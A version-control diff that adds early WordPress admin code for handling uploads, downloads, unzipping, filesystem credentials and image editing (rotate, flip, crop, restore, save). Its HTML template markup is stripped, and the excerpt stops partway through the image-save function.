+ $filename = $dir . wp_unique_filename($dir, $filename); + touch($filename); + return $filename; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $file + * @param unknown_type $allowed_files + * @return unknown + */ +function validate_file_to_edit( $file, $allowed_files = '' ) { + $code = validate_file( $file, $allowed_files ); + + if (!$code ) + return $file; + + switch ( $code ) { + case 1 : + wp_die( __('Sorry, can’t edit files with “..” in the name. If you are trying to edit a file in your WordPress home directory, you can just type the name of the file in.' )); + + //case 2 : + // wp_die( __('Sorry, can’t call files with their real path.' )); + + case 3 : + wp_die( __('Sorry, that file cannot be edited.' )); + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param array $file Reference to a single element of $_FILES. Call the function once for each uploaded file. + * @param array $overrides Optional. An associative array of names=>values to override default variables with extract( $overrides, EXTR_OVERWRITE ). + * @return array On success, returns an associative array of file attributes. On failure, returns $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ). + */ +function wp_handle_upload( &$file, $overrides = false, $time = null ) { + // The default error handler. + if (! function_exists( 'wp_handle_upload_error' ) ) { + function wp_handle_upload_error( &$file, $message ) { + return array( 'error'=>$message ); + } + } + + $file = apply_filters( 'wp_handle_upload_prefilter', $file ); + + // You may define your own function and pass the name in $overrides['upload_error_handler'] + $upload_error_handler = 'wp_handle_upload_error'; + + // You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully. + if ( isset( $file['error'] ) && !is_numeric( $file['error'] ) && $file['error'] ) + return $upload_error_handler( $file, $file['error'] ); + + // You may define your own function and pass the name in $overrides['unique_filename_callback'] + $unique_filename_callback = null; + + // $_POST['action'] must be set and its value must equal $overrides['action'] or this: + $action = 'wp_handle_upload'; + + // Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error']. + $upload_error_strings = array( false, + __( "The uploaded file exceeds the upload_max_filesize directive in php.ini." ), + __( "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form." ), + __( "The uploaded file was only partially uploaded." ), + __( "No file was uploaded." ), + '', + __( "Missing a temporary folder." ), + __( "Failed to write file to disk." ), + __( "File upload stopped by extension." )); + + // All tests are on by default. Most can be turned off by $override[{test_name}] = false; + $test_form = true; + $test_size = true; + + // If you override this, you must provide $ext and $type!!!! + $test_type = true; + $mimes = false; + + // Install user overrides. Did we mention that this voids your warranty? + if ( is_array( $overrides ) ) + extract( $overrides, EXTR_OVERWRITE ); + + // A correct form post will pass this test. + if ( $test_form && (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) ) + return $upload_error_handler( $file, __( 'Invalid form submission.' )); + + // A successful upload will pass this test. It makes no sense to override this one. + if ( $file['error'] > 0 ) + return $upload_error_handler( $file, $upload_error_strings[$file['error']] ); + + // A non-empty file will pass this test. + if ( $test_size && !($file['size'] > 0 ) ) + return $upload_error_handler( $file, __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.' )); + + // A properly uploaded file will pass this test. There should be no reason to override this one. + if (! @ is_uploaded_file( $file['tmp_name'] ) ) + return $upload_error_handler( $file, __( 'Specified file failed upload test.' )); + + // A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter. + if ( $test_type ) { + $wp_filetype = wp_check_filetype( $file['name'], $mimes ); + + extract( $wp_filetype ); + + if ( ( !$type || !$ext ) && !current_user_can( 'unfiltered_upload' ) ) + return $upload_error_handler( $file, __( 'File type does not meet security guidelines. Try another.' )); + + if ( !$ext ) + $ext = ltrim(strrchr($file['name'], '.'), '.'); + + if ( !$type ) + $type = $file['type']; + } else { + $type = ''; + } + + // A writable uploads dir will pass this test. Again, there's no point overriding this one. + if ( ! ( ( $uploads = wp_upload_dir($time) ) && false === $uploads['error'] ) ) + return $upload_error_handler( $file, $uploads['error'] ); + + $filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback ); + + // Move the file to the uploads dir + $new_file = $uploads['path'] . "/$filename"; + if ( false === @ move_uploaded_file( $file['tmp_name'], $new_file ) ) { + return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $uploads['path'] ) ); + } + + // Set correct file permissions + $stat = stat( dirname( $new_file )); + $perms = $stat['mode'] & 0000666; + @ chmod( $new_file, $perms ); + + // Compute the URL + $url = $uploads['url'] . "/$filename"; + + return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $type ) ); +} + +/** + * {@internal Missing Short Description}} + * + * Pass this function an array similar to that of a $_FILES POST array. + * + * @since unknown + * + * @param unknown_type $file + * @param unknown_type $overrides + * @return unknown + */ +function wp_handle_sideload( &$file, $overrides = false ) { + // The default error handler. + if (! function_exists( 'wp_handle_upload_error' ) ) { + function wp_handle_upload_error( &$file, $message ) { + return array( 'error'=>$message ); + } + } + + // You may define your own function and pass the name in $overrides['upload_error_handler'] + $upload_error_handler = 'wp_handle_upload_error'; + + // You may define your own function and pass the name in $overrides['unique_filename_callback'] + $unique_filename_callback = null; + + // $_POST['action'] must be set and its value must equal $overrides['action'] or this: + $action = 'wp_handle_sideload'; + + // Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error']. + $upload_error_strings = array( false, + __( "The uploaded file exceeds the upload_max_filesize directive in php.ini." ), + __( "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form." ), + __( "The uploaded file was only partially uploaded." ), + __( "No file was uploaded." ), + '', + __( "Missing a temporary folder." ), + __( "Failed to write file to disk." ), + __( "File upload stopped by extension." )); + + // All tests are on by default. Most can be turned off by $override[{test_name}] = false; + $test_form = true; + $test_size = true; + + // If you override this, you must provide $ext and $type!!!! + $test_type = true; + $mimes = false; + + // Install user overrides. Did we mention that this voids your warranty? + if ( is_array( $overrides ) ) + extract( $overrides, EXTR_OVERWRITE ); + + // A correct form post will pass this test. + if ( $test_form && (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) ) + return $upload_error_handler( $file, __( 'Invalid form submission.' )); + + // A successful upload will pass this test. It makes no sense to override this one. + if ( $file['error'] > 0 ) + return $upload_error_handler( $file, $upload_error_strings[$file['error']] ); + + // A non-empty file will pass this test. + if ( $test_size && !(filesize($file['tmp_name']) > 0 ) ) + return $upload_error_handler( $file, __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini.' )); + + // A properly uploaded file will pass this test. There should be no reason to override this one. + if (! @ is_file( $file['tmp_name'] ) ) + return $upload_error_handler( $file, __( 'Specified file does not exist.' )); + + // A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter. + if ( $test_type ) { + $wp_filetype = wp_check_filetype( $file['name'], $mimes ); + + extract( $wp_filetype ); + + if ( ( !$type || !$ext ) && !current_user_can( 'unfiltered_upload' ) ) + return $upload_error_handler( $file, __( 'File type does not meet security guidelines. Try another.' )); + + if ( !$ext ) + $ext = ltrim(strrchr($file['name'], '.'), '.'); + + if ( !$type ) + $type = $file['type']; + } + + // A writable uploads dir will pass this test. Again, there's no point overriding this one. + if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) ) + return $upload_error_handler( $file, $uploads['error'] ); + + $filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback ); + + // Strip the query strings. + $filename = str_replace('?','-', $filename); + $filename = str_replace('&','-', $filename); + + // Move the file to the uploads dir + $new_file = $uploads['path'] . "/$filename"; + if ( false === @ rename( $file['tmp_name'], $new_file ) ) { + return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $uploads['path'] ) ); + } + + // Set correct file permissions + $stat = stat( dirname( $new_file )); + $perms = $stat['mode'] & 0000666; + @ chmod( $new_file, $perms ); + + // Compute the URL + $url = $uploads['url'] . "/$filename"; + + $return = apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $type ) ); + + return $return; +} + +/** + * Downloads a url to a local temporary file using the WordPress HTTP Class. + * Please note, That the calling function must unlink() the file. + * + * @since 2.5.0 + * + * @param string $url the URL of the file to download + * @return mixed WP_Error on failure, string Filename on success. + */ +function download_url( $url ) { + //WARNING: The file is not automatically deleted, The script must unlink() the file. + if ( ! $url ) + return new WP_Error('http_no_url', __('Invalid URL Provided')); + + $tmpfname = wp_tempnam($url); + if ( ! $tmpfname ) + return new WP_Error('http_no_file', __('Could not create Temporary file')); + + $handle = @fopen($tmpfname, 'wb'); + if ( ! $handle ) + return new WP_Error('http_no_file', __('Could not create Temporary file')); + + $response = wp_remote_get($url, array('timeout' => 300)); + + if ( is_wp_error($response) ) { + fclose($handle); + unlink($tmpfname); + return $response; + } + + if ( $response['response']['code'] != '200' ){ + fclose($handle); + unlink($tmpfname); + return new WP_Error('http_404', trim($response['response']['message'])); + } + + fwrite($handle, $response['body']); + fclose($handle); + + return $tmpfname; +} + +/** + * Unzip's a specified ZIP file to a location on the Filesystem via the WordPress Filesystem Abstraction. + * Assumes that WP_Filesystem() has already been called and set up. + * + * Attempts to increase the PHP Memory limit to 256M before uncompressing, + * However, The most memory required shouldn't be much larger than the Archive itself. + * + * @since 2.5.0 + * + * @param string $file Full path and filename of zip archive + * @param string $to Full path on the filesystem to extract archive to + * @return mixed WP_Error on failure, True on success + */ +function unzip_file($file, $to) { + global $wp_filesystem; + + if ( ! $wp_filesystem || !is_object($wp_filesystem) ) + return new WP_Error('fs_unavailable', __('Could not access filesystem.')); + + // Unzip uses a lot of memory, but not this much hopefully + @ini_set('memory_limit', '256M'); + + $fs =& $wp_filesystem; + + require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php'); + + $archive = new PclZip($file); + + // Is the archive valid? + if ( false == ($archive_files = $archive->extract(PCLZIP_OPT_EXTRACT_AS_STRING)) ) + return new WP_Error('incompatible_archive', __('Incompatible archive'), $archive->errorInfo(true)); + + if ( 0 == count($archive_files) ) + return new WP_Error('empty_archive', __('Empty archive')); + + $path = explode('/', untrailingslashit($to)); + for ( $i = count($path); $i > 0; $i-- ) { //>0 = first element is empty allways for paths starting with '/' + $tmppath = implode('/', array_slice($path, 0, $i) ); + if ( $fs->is_dir($tmppath) ) { //Found the highest folder that exists, Create from here(ie +1) + for ( $i = $i + 1; $i <= count($path); $i++ ) { + $tmppath = implode('/', array_slice($path, 0, $i) ); + if ( ! $fs->mkdir($tmppath, FS_CHMOD_DIR) ) + return new WP_Error('mkdir_failed', __('Could not create directory'), $tmppath); + } + break; //Exit main for loop + } + } + + $to = trailingslashit($to); + foreach ($archive_files as $file) { + $path = $file['folder'] ? $file['filename'] : dirname($file['filename']); + $path = explode('/', $path); + for ( $i = count($path); $i >= 0; $i-- ) { //>=0 as the first element contains data + if ( empty($path[$i]) ) + continue; + $tmppath = $to . implode('/', array_slice($path, 0, $i) ); + if ( $fs->is_dir($tmppath) ) {//Found the highest folder that exists, Create from here + for ( $i = $i + 1; $i <= count($path); $i++ ) { //< count() no file component please. + $tmppath = $to . implode('/', array_slice($path, 0, $i) ); + if ( ! $fs->is_dir($tmppath) && ! $fs->mkdir($tmppath, FS_CHMOD_DIR) ) + return new WP_Error('mkdir_failed', __('Could not create directory'), $tmppath); + } + break; //Exit main for loop + } + } + + // We've made sure the folders are there, so let's extract the file now: + if ( ! $file['folder'] ) { + if ( !$fs->put_contents( $to . $file['filename'], $file['content']) ) + return new WP_Error('copy_failed', __('Could not copy file'), $to . $file['filename']); + $fs->chmod($to . $file['filename'], FS_CHMOD_FILE); + } + } + return true; +} + +/** + * Copies a directory from one location to another via the WordPress Filesystem Abstraction. + * Assumes that WP_Filesystem() has already been called and setup. + * + * @since 2.5.0 + * + * @param string $from source directory + * @param string $to destination directory + * @return mixed WP_Error on failure, True on success. + */ +function copy_dir($from, $to) { + global $wp_filesystem; + + $dirlist = $wp_filesystem->dirlist($from); + + $from = trailingslashit($from); + $to = trailingslashit($to); + + foreach ( (array) $dirlist as $filename => $fileinfo ) { + if ( 'f' == $fileinfo['type'] ) { + if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true) ) { + // If copy failed, chmod file to 0644 and try again. + $wp_filesystem->chmod($to . $filename, 0644); + if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true) ) + return new WP_Error('copy_failed', __('Could not copy file'), $to . $filename); + } + $wp_filesystem->chmod($to . $filename, FS_CHMOD_FILE); + } elseif ( 'd' == $fileinfo['type'] ) { + if ( !$wp_filesystem->is_dir($to . $filename) ) { + if ( !$wp_filesystem->mkdir($to . $filename, FS_CHMOD_DIR) ) + return new WP_Error('mkdir_failed', __('Could not create directory'), $to . $filename); + } + $result = copy_dir($from . $filename, $to . $filename); + if ( is_wp_error($result) ) + return $result; + } + } + return true; +} + +/** + * Initialises and connects the WordPress Filesystem Abstraction classes. + * This function will include the chosen transport and attempt connecting. + * + * Plugins may add extra transports, And force WordPress to use them by returning the filename via the 'filesystem_method_file' filter. + * + * @since 2.5.0 + * + * @param array $args (optional) Connection args, These are passed directly to the WP_Filesystem_*() classes. + * @param string $context (optional) Context for get_filesystem_method(), See function declaration for more information. + * @return boolean false on failure, true on success + */ +function WP_Filesystem( $args = false, $context = false ) { + global $wp_filesystem; + + require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php'); + + $method = get_filesystem_method($args, $context); + + if ( ! $method ) + return false; + + if ( ! class_exists("WP_Filesystem_$method") ) { + $abstraction_file = apply_filters('filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method); + if( ! file_exists($abstraction_file) ) + return; + + require_once($abstraction_file); + } + $method = "WP_Filesystem_$method"; + + $wp_filesystem = new $method($args); + + //Define the timeouts for the connections. Only available after the construct is called to allow for per-transport overriding of the default. + if ( ! defined('FS_CONNECT_TIMEOUT') ) + define('FS_CONNECT_TIMEOUT', 30); + if ( ! defined('FS_TIMEOUT') ) + define('FS_TIMEOUT', 30); + + if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() ) + return false; + + if ( !$wp_filesystem->connect() ) + return false; //There was an erorr connecting to the server. + + // Set the permission constants if not already set. + if ( ! defined('FS_CHMOD_DIR') ) + define('FS_CHMOD_DIR', 0755 ); + if ( ! defined('FS_CHMOD_FILE') ) + define('FS_CHMOD_FILE', 0644 ); + + return true; +} + +/** + * Determines which Filesystem Method to use. + * The priority of the Transports are: Direct, SSH2, FTP PHP Extension, FTP Sockets (Via Sockets class, or fsoxkopen()) + * + * Note that the return value of this function can be overridden in 2 ways + * - By defining FS_METHOD in your wp-config.php file + * - By using the filesystem_method filter + * Valid values for these are: 'direct', 'ssh', 'ftpext' or 'ftpsockets' + * Plugins may also define a custom transport handler, See the WP_Filesystem function for more information. + * + * @since 2.5.0 + * + * @param array $args Connection details. + * @param string $context Full path to the directory that is tested for being writable. + * @return string The transport to use, see description for valid return values. + */ +function get_filesystem_method($args = array(), $context = false) { + $method = defined('FS_METHOD') ? FS_METHOD : false; //Please ensure that this is either 'direct', 'ssh', 'ftpext' or 'ftpsockets' + + if( ! $method && function_exists('getmyuid') && function_exists('fileowner') ){ + if ( !$context ) + $context = WP_CONTENT_DIR; + $context = trailingslashit($context); + $temp_file_name = $context . 'temp-write-test-' . time(); + $temp_handle = @fopen($temp_file_name, 'w'); + if ( $temp_handle ) { + if ( getmyuid() == @fileowner($temp_file_name) ) + $method = 'direct'; + @fclose($temp_handle); + @unlink($temp_file_name); + } + } + + if ( ! $method && isset($args['connection_type']) && 'ssh' == $args['connection_type'] && extension_loaded('ssh2') && function_exists('stream_get_contents') ) $method = 'ssh2'; + if ( ! $method && extension_loaded('ftp') ) $method = 'ftpext'; + if ( ! $method && ( extension_loaded('sockets') || function_exists('fsockopen') ) ) $method = 'ftpsockets'; //Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread + return apply_filters('filesystem_method', $method, $args); +} + +/** + * Displays a form to the user to request for their FTP/SSH details in order to connect to the filesystem. + * All chosen/entered details are saved, Excluding the Password. + * + * Hostnames may be in the form of hostname:portnumber (eg: wordpress.org:2467) to specify an alternate FTP/SSH port. + * + * Plugins may override this form by returning true|false via the request_filesystem_credentials filter. + * + * @since 2.5.0 + * + * @param string $form_post the URL to post the form to + * @param string $type the chosen Filesystem method in use + * @param boolean $error if the current request has failed to connect + * @param string $context The directory which is needed access to, The write-test will be performed on this directory by get_filesystem_method() + * @return boolean False on failure. True on success. + */ +function request_filesystem_credentials($form_post, $type = '', $error = false, $context = false) { + $req_cred = apply_filters('request_filesystem_credentials', '', $form_post, $type, $error, $context); + if ( '' !== $req_cred ) + return $req_cred; + + if ( empty($type) ) + $type = get_filesystem_method(array(), $context); + + if ( 'direct' == $type ) + return true; + + $credentials = get_option('ftp_credentials', array( 'hostname' => '', 'username' => '')); + + // If defined, set it to that, Else, If POST'd, set it to that, If not, Set it to whatever it previously was(saved details in option) + $credentials['hostname'] = defined('FTP_HOST') ? FTP_HOST : (!empty($_POST['hostname']) ? stripslashes($_POST['hostname']) : $credentials['hostname']); + $credentials['username'] = defined('FTP_USER') ? FTP_USER : (!empty($_POST['username']) ? stripslashes($_POST['username']) : $credentials['username']); + $credentials['password'] = defined('FTP_PASS') ? FTP_PASS : (!empty($_POST['password']) ? stripslashes($_POST['password']) : ''); + + // Check to see if we are setting the public/private keys for ssh + $credentials['public_key'] = defined('FTP_PUBKEY') ? FTP_PUBKEY : (!empty($_POST['public_key']) ? stripslashes($_POST['public_key']) : ''); + $credentials['private_key'] = defined('FTP_PRIKEY') ? FTP_PRIKEY : (!empty($_POST['private_key']) ? stripslashes($_POST['private_key']) : ''); + + //sanitize the hostname, Some people might pass in odd-data: + $credentials['hostname'] = preg_replace('|\w+://|', '', $credentials['hostname']); //Strip any schemes off + + if ( strpos($credentials['hostname'], ':') ) { + list( $credentials['hostname'], $credentials['port'] ) = explode(':', $credentials['hostname'], 2); + if ( ! is_numeric($credentials['port']) ) + unset($credentials['port']); + } else { + unset($credentials['port']); + } + + if ( (defined('FTP_SSH') && FTP_SSH) || (defined('FS_METHOD') && 'ssh' == FS_METHOD) ) + $credentials['connection_type'] = 'ssh'; + else if ( (defined('FTP_SSL') && FTP_SSL) && 'ftpext' == $type ) //Only the FTP Extension understands SSL + $credentials['connection_type'] = 'ftps'; + else if ( !empty($_POST['connection_type']) ) + $credentials['connection_type'] = stripslashes($_POST['connection_type']); + else if ( !isset($credentials['connection_type']) ) //All else fails (And its not defaulted to something else saved), Default to FTP + $credentials['connection_type'] = 'ftp'; + + if ( ! $error && + ( + ( !empty($credentials['password']) && !empty($credentials['username']) && !empty($credentials['hostname']) ) || + ( 'ssh' == $credentials['connection_type'] && !empty($credentials['public_key']) && !empty($credentials['private_key']) ) + ) ) { + $stored_credentials = $credentials; + if ( !empty($stored_credentials['port']) ) //save port as part of hostname to simplify above code. + $stored_credentials['hostname'] .= ':' . $stored_credentials['port']; + + unset($stored_credentials['password'], $stored_credentials['port'], $stored_credentials['private_key'], $stored_credentials['public_key']); + update_option('ftp_credentials', $stored_credentials); + return $credentials; + } + $hostname = ''; + $username = ''; + $password = ''; + $connection_type = ''; + if ( !empty($credentials) ) + extract($credentials, EXTR_OVERWRITE); + if ( $error ) { + $error_string = __('Error: There was an error connecting to the server, Please verify the settings are correct.'); + if ( is_wp_error($error) ) + $error_string = $error->get_error_message(); + echo '

    ' . $error_string . '

    '; + } + + $types = array(); + if ( extension_loaded('ftp') || extension_loaded('sockets') || function_exists('fsockopen') ) + $types[ 'ftp' ] = __('FTP'); + if ( extension_loaded('ftp') ) //Only this supports FTPS + $types[ 'ftps' ] = __('FTPS (SSL)'); + if ( extension_loaded('ssh2') && function_exists('stream_get_contents') ) + $types[ 'ssh' ] = __('SSH2'); + + $types = apply_filters('fs_ftp_connection_types', $types, $credentials, $type, $error, $context); + +?> + +
    +
    + +

    +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    " size="40" />
    size="40" />
    size="40" />
    +
    +
    + +

    size="40" />
    size="40" /> +
    +
    + $text ) : ?> + + +
    +
    + + + + + + + +

    + +

    +
    +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/image-edit.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/image-edit.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,667 @@ + 400 ? 400 / $big : 1; + + $backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true ); + $can_restore = !empty($backup_sizes) && isset($backup_sizes['full-orig']) + && $backup_sizes['full-orig']['file'] != basename($meta['file']); + + if ( $msg ) { + if ( isset($msg->error) ) + $note = "

    $msg->error

    "; + elseif ( isset($msg->msg) ) + $note = "

    $msg->msg

    "; + } + + ?> +
    + + + + + +
    +
    +
    , this)" class="imgedit-crop disabled" title="">
    +
    , this)" title="">
    +
    , this)" title="">
    + +
    +
    + + +
    , this)" class="imgedit-flipv" title="">
    +
    , this)" class="imgedit-fliph" title="">
    + +
    , this)" class="imgedit-undo disabled" title="">
    +
    , this)" class="imgedit-redo disabled" title="">
    +
    +
    + + + + + + + + + +
    + +
    + +
    + + )" disabled="disabled" class="button-primary imgedit-submit-btn" value="" /> +
    +
    +
    +
    + +
    +

    +

    +
    + × + ! + , 'scale')" class="button-primary" value="" /> +
    +
    +
    + + + +
    + +
    +

    +
    + , 'restore')" class="button-primary" value="" /> +
    +
    +
    + + + +
    + +
    +
    + + +
    +

    + +
      +
    • +
    • +
    • +
    • +
    • +
    + +


    +

    + +


    +

    +
    +
    + +

    + + + + : + + +

    + +

    + + + + : + + +

    +
    + + + +
    +
    + + +

    +
    + +

    +
    +

    + +

    +
    + + + + + + +

    +
    + + + +
    +
    + + +
    + 400 ? (400 / $max) : 1; +} + +function _rotate_image_resource($img, $angle) { + if ( function_exists('imagerotate') ) { + $rotated = imagerotate($img, $angle, 0); + if ( is_resource($rotated) ) { + imagedestroy($img); + $img = $rotated; + } + } + return $img; +} + + +function _flip_image_resource($img, $horz, $vert) { + $w = imagesx($img); + $h = imagesy($img); + $dst = wp_imagecreatetruecolor($w, $h); + if ( is_resource($dst) ) { + $sx = $vert ? ($w - 1) : 0; + $sy = $horz ? ($h - 1) : 0; + $sw = $vert ? -$w : $w; + $sh = $horz ? -$h : $h; + + if ( imagecopyresampled($dst, $img, 0, 0, $sx, $sy, $w, $h, $sw, $sh) ) { + imagedestroy($img); + $img = $dst; + } + } + return $img; +} + +function _crop_image_resource($img, $x, $y, $w, $h) { + $dst = wp_imagecreatetruecolor($w, $h); + if ( is_resource($dst) ) { + if ( imagecopy($dst, $img, 0, 0, $x, $y, $w, $h) ) { + imagedestroy($img); + $img = $dst; + } + } + return $img; +} + +function image_edit_apply_changes($img, $changes) { + + if ( !is_array($changes) ) + return $img; + + // expand change operations + foreach ( $changes as $key => $obj ) { + if ( isset($obj->r) ) { + $obj->type = 'rotate'; + $obj->angle = $obj->r; + unset($obj->r); + } elseif ( isset($obj->f) ) { + $obj->type = 'flip'; + $obj->axis = $obj->f; + unset($obj->f); + } elseif ( isset($obj->c) ) { + $obj->type = 'crop'; + $obj->sel = $obj->c; + unset($obj->c); + } + $changes[$key] = $obj; + } + + // combine operations + if ( count($changes) > 1 ) { + $filtered = array($changes[0]); + for ( $i = 0, $j = 1; $j < count($changes); $j++ ) { + $combined = false; + if ( $filtered[$i]->type == $changes[$j]->type ) { + switch ( $filtered[$i]->type ) { + case 'rotate': + $filtered[$i]->angle += $changes[$j]->angle; + $combined = true; + break; + case 'flip': + $filtered[$i]->axis ^= $changes[$j]->axis; + $combined = true; + break; + } + } + if ( !$combined ) + $filtered[++$i] = $changes[$j]; + } + $changes = $filtered; + unset($filtered); + } + + // image resource before applying the changes + $img = apply_filters('image_edit_before_change', $img, $changes); + + foreach ( $changes as $operation ) { + switch ( $operation->type ) { + case 'rotate': + if ( $operation->angle != 0 ) + $img = _rotate_image_resource($img, $operation->angle); + break; + case 'flip': + if ( $operation->axis != 0 ) + $img = _flip_image_resource($img, ($operation->axis & 1) != 0, ($operation->axis & 2) != 0); + break; + case 'crop': + $sel = $operation->sel; + $scale = 1 / _image_get_preview_ratio( imagesx($img), imagesy($img) ); // discard preview scaling + $img = _crop_image_resource($img, $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale); + break; + } + } + + return $img; +} + +function stream_preview_image($post_id) { + $post = get_post($post_id); + @ini_set('memory_limit', '256M'); + $img = load_image_to_edit( $post_id, $post->post_mime_type, array(400, 400) ); + + if ( !is_resource($img) ) + return false; + + $changes = !empty($_REQUEST['history']) ? json_decode( stripslashes($_REQUEST['history']) ) : null; + if ( $changes ) + $img = image_edit_apply_changes($img, $changes); + + // scale the image + $w = imagesx($img); + $h = imagesy($img); + $ratio = _image_get_preview_ratio($w, $h); + $w2 = $w * $ratio; + $h2 = $h * $ratio; + + $preview = wp_imagecreatetruecolor($w2, $h2); + imagecopyresampled( $preview, $img, 0, 0, 0, 0, $w2, $h2, $w, $h ); + wp_stream_image($preview, $post->post_mime_type, $post_id); + + imagedestroy($preview); + imagedestroy($img); + return true; +} + +function wp_restore_image($post_id) { + $meta = wp_get_attachment_metadata($post_id); + $file = get_attached_file($post_id); + $backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true ); + $restored = false; + $msg = ''; + + if ( !is_array($backup_sizes) ) { + $msg->error = __('Cannot load image metadata.'); + return $msg; + } + + $parts = pathinfo($file); + $suffix = time() . rand(100, 999); + $default_sizes = apply_filters( 'intermediate_image_sizes', array('large', 'medium', 'thumbnail') ); + + if ( isset($backup_sizes['full-orig']) && is_array($backup_sizes['full-orig']) ) { + $data = $backup_sizes['full-orig']; + + if ( $parts['basename'] != $data['file'] ) { + if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE ) { + // delete only if it's edited image + if ( preg_match('/-e[0-9]{13}\./', $parts['basename']) ) { + $delpath = apply_filters('wp_delete_file', $file); + @unlink($delpath); + } + } else { + $backup_sizes["full-$suffix"] = array('width' => $meta['width'], 'height' => $meta['height'], 'file' => $parts['basename']); + } + } + + $restored_file = path_join($parts['dirname'], $data['file']); + $restored = update_attached_file($post_id, $restored_file); + + $meta['file'] = _wp_relative_upload_path( $restored_file ); + $meta['width'] = $data['width']; + $meta['height'] = $data['height']; + list ( $uwidth, $uheight ) = wp_shrink_dimensions($meta['width'], $meta['height']); + $meta['hwstring_small'] = "height='$uheight' width='$uwidth'"; + } + + foreach ( $default_sizes as $default_size ) { + if ( isset($backup_sizes["$default_size-orig"]) ) { + $data = $backup_sizes["$default_size-orig"]; + if ( isset($meta['sizes'][$default_size]) && $meta['sizes'][$default_size]['file'] != $data['file'] ) { + if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE ) { + // delete only if it's edited image + if ( preg_match('/-e[0-9]{13}-/', $meta['sizes'][$default_size]['file']) ) { + $delpath = apply_filters( 'wp_delete_file', path_join($parts['dirname'], $meta['sizes'][$default_size]['file']) ); + @unlink($delpath); + } + } else { + $backup_sizes["$default_size-{$suffix}"] = $meta['sizes'][$default_size]; + } + } + + $meta['sizes'][$default_size] = $data; + } else { + unset($meta['sizes'][$default_size]); + } + } + + if ( !wp_update_attachment_metadata($post_id, $meta) || !update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes) ) { + $msg->error = __('Cannot save image metadata.'); + return $msg; + } + + if ( !$restored ) + $msg->error = __('Image metadata is inconsistent.'); + else + $msg->msg = __('Image restored successfully.'); + + return $msg; +} + +function wp_save_image($post_id) { + $return = ''; + $success = $delete = $scaled = $nocrop = false; + $post = get_post($post_id); + @ini_set('memory_limit', '256M'); + $img = load_image_to_edit($post_id, $post->post_mime_type); + + if ( !is_resource($img) ) { + $return->error = esc_js( __('Unable to create new image.') ); + return $return; + } + + $fwidth = !empty($_REQUEST['fwidth']) ? intval($_REQUEST['fwidth']) : 0; + $fheight = !empty($_REQUEST['fheight']) ? intval($_REQUEST['fheight']) : 0; + $target = !empty($_REQUEST['target']) ? preg_replace('/[^a-z0-9_-]+/i', '', $_REQUEST['target']) : ''; + $scale = !empty($_REQUEST['do']) && 'scale' == $_REQUEST['do']; + + if ( $scale && $fwidth > 0 && $fheight > 0 ) { + $sX = imagesx($img); + $sY = imagesy($img); + + // check if it has roughly the same w / h ratio + $diff = round($sX / $sY, 2) - round($fwidth / $fheight, 2); + if ( -0.1 < $diff && $diff < 0.1 ) { + // scale the full size image + $dst = wp_imagecreatetruecolor($fwidth, $fheight); + if ( imagecopyresampled( $dst, $img, 0, 0, 0, 0, $fwidth, $fheight, $sX, $sY ) ) { + imagedestroy($img); + $img = $dst; + $scaled = true; + } + } + + if ( !$scaled ) { + $return->error = esc_js( __('Error while saving the scaled image. Please reload the page and try again.') ); + return $return; + } + } elseif ( !empty($_REQUEST['history']) ) { + $changes = json_decode( stripslashes($_REQUEST['history']) ); + if ( $changes ) + $img = image_edit_apply_changes($img, $changes); + } else { + $return->error = esc_js( __('Nothing to save, the image has not changed.') ); + return $return; + } + + $meta = wp_get_attachment_metadata($post_id); + $backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true ); + + if ( !is_array($meta) ) { + $return->error = esc_js( __('Image data does not exist. Please re-upload the image.') ); + return $return; + } + + if ( !is_array($backup_sizes) ) + $backup_sizes = array(); + + // generate new filename + $path = get_attached_file($post_id); + $path_parts = pathinfo52( $path ); + $filename = $path_parts['filename']; + $suffix = time() . rand(100, 999); + + if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE && + isset($backup_sizes['full-orig']) && $backup_sizes['full-orig']['file'] != $path_parts['basename'] ) { + + if ( 'thumbnail' == $target ) + $new_path = 